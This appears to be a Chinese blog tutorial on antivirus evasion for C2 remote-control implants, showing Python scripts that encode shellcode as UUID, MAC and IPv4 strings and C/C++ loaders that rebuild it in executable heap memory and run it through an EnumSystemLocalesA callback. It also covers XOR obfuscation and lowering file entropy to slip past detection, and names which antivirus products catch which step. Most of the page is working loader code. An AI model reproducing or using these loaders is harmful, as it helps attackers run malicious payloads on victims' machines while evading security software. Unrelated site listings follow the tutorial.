免杀对抗-C2远控篇CC++SC转换格式UUID标识MAC物理IPV4地址减少熵值

news2024/10/7 13:21:37

参考文章:

https://github.com/INotGreen/Bypass-AMSI
https://mp.weixin.qq.com/s/oJ8eHdX8HGuk6dZv0kmFxg
https://kyxiaxiang.github.io/2022/12/14/AMSIandEtw
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

文章参考:

https://www.anquanke.com/post/id/262666

C/C++内存加载-UUID方式-ShellCode转换

通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

1、先用python代码将shellcode转换成uuid值
2、命令python u.py payload.bin

from uuid import UUID
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)
with open(sys.argv[1], "rb") as f:
    chunk = f.read(16)
    print("{}const char* uuids[] =".format(' '*4))
    print(" {")
    while chunk:
        if len(chunk) < 16:
            padding = 16 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
            break
        print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
        chunk = f.read(16)
    print(" };")

3、将uuid值填入const char* uuids[] = { “xxx” };

#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;

const char* uuids[] = { "xxx" };


int main() {
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	printf("%p\n", hmem);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	int init = sizeof(uuids) / sizeof(uuids[0]);
	for (int i = 0; i < init; i++) {
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
		if (status != RPC_S_OK) {
			printf("UuidFromStringA != RPC_S_OK\n");
			CloseHandle(hmem);
			return -1;
		}
		ptr += 16;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < init * 16; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
		//((unsigned char*)hmem)[i] ^= 0x39;
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
} 

4、生成文件exe,可以上线,但是杀软被杀
火绒 分离uuid
360 检测UuidFromStringA 使用动态api hook

先使用工具studype查看导出表
在这里插入图片描述

UuidFromStringA函数在RPCRT4.dll里面

C/C++内存加载-MAC方式-ShellCode转换

MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的。

from macaddress import MAC
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)
with open(sys.argv[1], "rb") as f:
    chunk = f.read(6)
    print("{}const char* MAC[] =".format(' '*4))
    print(" {")
    while chunk:
        if len(chunk) < 6:
            padding = 6 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,MAC(chunk)))
            break

        print("{}\"{}\",".format(' '*8,MAC(chunk)))
        chunk = f.read(6)
    print(" };")
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)

int Error(const char* msg) {
	printf("%s (%u)", msg, GetLastError());
	return 1;
}
int main() {
    const char* MAC[] =
    {
         xxxx
    };
	int rowLen = sizeof(MAC) / sizeof(MAC[0]);
	PCSTR Terminator = NULL;
	DL_EUI48* LpBaseAddress2 = NULL;
	NTSTATUS STATUS;
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	for (int i = 0; i < rowLen; i++) {
		STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator,
			(DL_EUI48*)ptr);
		if (!NT_SUCCESS(STATUS)) {
			printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)", MAC[i], STATUS, GetLastError());
			return FALSE;
		}
		ptr += 6;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < 6 * rowLen; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}

C/C++内存加载-IPV4方式-ShellCode转换

IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。IPv4使用32位(4字节)地址。

1、先用python代码将shellcode转换成ipv4值
2、命令python u.py payload.bin

from ipaddress import ip_address
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)
with open(sys.argv[1], "rb") as f:
    chunk = f.read(4)
    print("{}const char* IPv4s[] =".format(' '*4))
    print(" {")
    while chunk:
        if len(chunk) < 4:
            padding = 4 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,ip_address(chunk)))
            break
        print("{}\"{}\",".format(' '*8,ip_address(chunk)))
        chunk = f.read(4)
    print(" };")

3、将uuid值填入 const char* IPv4s[] =};

#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

int main() {
    const char* IPv4s[] =
    {
           xxxxxx
    };
    

    PCSTR Terminator = NULL;
    PVOID LpBaseAddress = NULL;
    PVOID LpBaseAddress2 = NULL;
    NTSTATUS STATUS;
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* hmem = HeapAlloc(hHeap, 0, 0x1000);
    DWORD_PTR ptr = (DWORD_PTR)hmem;
    int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE,
            &Terminator, (in_addr*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",
                IPv4s[i], STATUS, GetLastError());
            return FALSE;
        }
        ptr += 4;
    }
    printf("[+] HexDump: \n");
    for (int i = 0; i < init * 4; i++) {
        printf("%02X ", ((unsigned char*)hmem)[i]);
    }
    EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
    CloseHandle(hmem);
    return 0;
}

熵和恶意软件

恶意软件会采取许多策略和技巧来从 AV 引擎的扫描中隐藏恶意软件。像shellcode加密,函数调用混淆之类的东西,像这种技术本质上是在加密和压缩数据,因此提高了数据的不可预测性/无序性,也就是提高了熵。所以我们可以根据熵值捕获文件,熵越大,数据就越有可能被混淆或加密,文件也就越有可能是恶意的,熵是一种简单有效的检测技术,但并不能完全识别所有恶意代码。因此,杀毒软件通常使用熵作为其他技术的补充,以更好地识别潜在的威胁。

1、识别项目:
https://github.com/langsasec/File-Entropy-Calculator
2、如何降低熵值:

使用uuid代码
先把shellcode使用ueditor 进行0x66异或
使用python脚本生成uuid值
脚本如下:

#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;

const char* uuids[] =
{xxxxx
};


int main() {
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	printf("%p\n", hmem);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	int init = sizeof(uuids) / sizeof(uuids[0]);
	for (int i = 0; i < init; i++) {
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
		if (status != RPC_S_OK) {
			printf("UuidFromStringA != RPC_S_OK\n");
			CloseHandle(hmem);
			return -1;
		}
		ptr += 16;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < init * 16; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
		((unsigned char*)hmem)[i] ^= 0x66;
        printf("[+] HexDump: \n");
		printf("%02X ", ((unsigned char*)hmem)[i]);
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}

使用Restorator 减少熵值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1548799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Go——结构体

Go语言中没有类的概念&#xff0c;也不支持类的继承等面向对象的概念。Go语言中通过结构体的内嵌再配合接口比面向对象具有更高的扩展性和灵活性。 一. 类型别名和自定义类型 1.1 自定义类型 在Go语言中有一些基本的数据类型&#xff0c;如string&#xff0c;整型&#xff0c;…

YOLOv9改进策略:block优化 | SEAM提升小目标遮挡物性能

&#x1f4a1;&#x1f4a1;&#x1f4a1;本文改进内容&#xff1a;SEAM提升小目标遮挡物性能&#xff0c;在多个数据集得到很好的验证 改进结构图如下&#xff1a; YOLOv9魔术师专栏 ☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️☁️ ☁️☁️☁️…

docker学习笔记 四-----docker基本使用方法

基础命令奉上&#xff1a; 1、docker命令查询方法 docker --help 获取docker命令帮助 docker search --help 查询docker 子命令search的帮助 2、查询镜像 查询镜像 docker search 192.168.206.100:5000/mysql 查询指定服务器指定镜像 docker search mysql …

Qt Design Studio各个组件怎么用?【长期更新】

写在前面&#xff1a;本文长期更新&#xff0c;建议点赞/收藏/关注~ 在Qt Design Studio中&#xff0c;组件类别有&#xff1a; 每一种&#xff0c;都有其特定的用途和适用场景&#xff1a; 1.My Components 使用时机&#xff1a;当你需要重用自定义的设计元素或者特殊功能…

【wallabag】数字化阅读时代的救星——wallabag来了!

为什么需要 ✨在海量信息涌动的时代&#xff0c;一篇好文章却总是在最不恰当的时候出现。想要留住精彩内容&#xff0c;却苦于当下分身乏术&#xff1f;墙裂推荐你试试wallabag&#xff0c;这款智能稍后阅读神器&#xff0c;让你随时随地畅享深度阅读的乐趣&#xff01; Walla…

2024第六届环境科学与可再生能源国际会议能源 (ESRE 2024) 即将召开!

2024第六届环境科学与可再生能源国际会议 能源 &#xff08;ESRE 2024&#xff09; 即将举行 2024 年 6 月 28 日至 30 日在德国法兰克福举行。ESRE 2024 年 旨在为研究人员、从业人员和专业人士提供一个论坛 从工业界、学术界和政府到研究和 发展&#xff0c;环境科学领域的专…

Altair(澳汰尔) Radioss® 评估和优化动态载荷下的高度非线性问题

Altair&#xff08;澳汰尔&#xff09; Radioss 评估和优化动态载荷下的高度非线性问题 Radioss 是一款超前的分析解决方案&#xff0c;可评估和优化动态载荷下的高度非线性问题。它广泛应用于全球各行各业&#xff0c;能有效提高复杂设计的耐撞性、安全性和可制造性。 30 多…

VRAY渲染设置大神参数(建议收藏)

3dmax效果图云渲染平台——渲染100以3ds Max 2024、VR 6.2、CR 11.2等最新版本为基础&#xff0c;兼容fp、acescg等常用插件&#xff0c;同时LUT滤镜等参数也得到了同步支持。注册填邀请码【7788】可领30元礼包和免费渲染券哦~ 公用&#xff1a;输出大小&#xff1a;一般小图50…

数据结构-----栈、顺序栈、链栈

在软件应用中&#xff0c;栈这种后进先出数据结构的应用是非常普遍的。比如用浏览器上网时&#xff0c;不管什么浏览器都有一个“后退”键&#xff0c;你点击后可以按访问顺序的逆序加载浏览过的网页。即使从一个网页开始&#xff0c;连续点了几十个链接跳转&#xff0c;你点“…

纳斯达克大屏媒体尺寸与投放费用:一次投放需要多少钱?

纳斯达克大屏媒体尺寸与投放费用&#xff1a;一次投放需要多少钱&#xff1f; 1. 纳斯达克图片要求 1.1 像素要求 高度&#xff1a;2336 像素宽度&#xff1a;1832 像素 1.2 分辨率要求 像素比率&#xff1a;1.0 px 72 dpi 1.3 文件格式要求 静态图片格式&#xff1a;.…

vue2 export default写法,computed、methods的使用

<template><div><h2>{{nameAll}}</h2><h2>{{method}}</h2><h2>{{tt()}}</h2><h2>{{firstName}}</h2><h2>更新后赋值数据&#xff1a;{{lastName}}</h2><h2>赋值数据:{{writeValue}}</h2>…

第十三届蓝桥杯省赛C++ A组 Java A组/研究生组《推导部分和》(C++)

【题目描述】 【输入格式】 【输出格式】 【数据范围】 【输入样例】 5 3 3 1 5 15 4 5 9 2 3 5 1 5 1 3 1 2 【输出样例】 15 6 UNKNOWN 【思路】 题解来源&#xff1a;AcWing 4651. $\Huge\color{gold}{推导部分和}$ - AcWing 【代码】 #include<bits/stdc.h> #define…

基于ssm的线上旅行信息管理系统论文

摘 要 随着旅游业的迅速发展&#xff0c;传统的旅行信息查询管理方式&#xff0c;已经无法满足用户需求&#xff0c;因此&#xff0c;结合计算机技术的优势和普及&#xff0c;特开发了本线上旅行信息管理系统。 本论文首先对线上旅行信息管理系统进行需求分析&#xff0c;从系…

git提交和回退

目录 一. git 提交二. git commit 后准备回退&#xff0c;尚未 git push三. git add 添加多余文件 撤销操作四. 更改 Git commit 的默认编辑器五. 撤销某个commit的变更六. 回退到之前的commit状态总结&#xff1a; 一. git 提交 git pull # 更新代码 git status # 查看代码状…

2G-3G-4G-5G 语音方案

1.2G、3G时代&#xff0c;语音业务采用CS&#xff08;Circuited Switched&#xff0c;电路交换&#xff09;技术&#xff0c;即手机在通话前需在网络中建立一条独占资源的线路&#xff0c;直到通话结束才拆除。这种古老的技术存在耗资源、组网复杂、效率低等缺点。 2. 进入4…

Codeup_1132:问题 A: 最长公共子序列

目录 Problem DescriptionInputOutputSample InputSample Output原题链接解题思路代码实现&#xff08;C&#xff09; Problem Description 给你一个序列X和另一个序列Z&#xff0c;当Z中的所有元素都在X中存在&#xff0c;并且在X中的下标顺序是严格递增的&#xff0c;那么就…

如何使用CHAT-AI?

伴随着CHAT-GPT的出现&#xff0c;人们都喜欢上了CHAT-AI。嗯&#xff1f;你还不会用&#xff1f;&#xff01; 教程来喽&#xff01; 首先点这里的 … 点击扩展 接着选择“管理扩展” 点击之后搜索“wetab” 最后你需要注册一个号&#xff0c;然后就可以使用CHAT-AI啦&#x…

《无名之辈》天涯镖局攻略:高效拉镖窍门!

《无名之辈》天涯镖局开启要注意什么&#xff0c;在这里&#xff0c;每一次运镖都是一次刺激的冒险&#xff0c;而掌握合适的策略将让你事半功倍。以下是天涯镖局的开启攻略&#xff0c;助你在危机四伏的路途上赢得胜利。 ① 拉取适当级别的包子和加速卡 在天涯镖局中&#xf…

SpringBoot中处理校验逻辑的两种方式:Hibernate Validator+全局异常处理

最近正在开发一个校园管理系统&#xff0c;需要对请求参数进行校验&#xff0c;比如说非空啊、长度限制啊等等&#xff0c;可选的解决方案有两种&#xff1a; 一种是用 Hibernate Validator 来处理一种是用全局异常来处理 两种方式&#xff0c;我们一一来实践体验一下。 一、…

Kimi 200万字爆火,通义加码1000万,阿里笑而不语

关注卢松松&#xff0c;会经常给你分享一些我的经验和观点。 我怎么感觉Kimi是一个“网红”产品呢?在没有任何预兆情况下&#xff0c;国产AI大模型Kimi突然爆火&#xff0c;最近我在很多平台上看到了Kimi的广告&#xff0c;感觉到处都在吹这个产品。 看见上面的新闻了吧&a…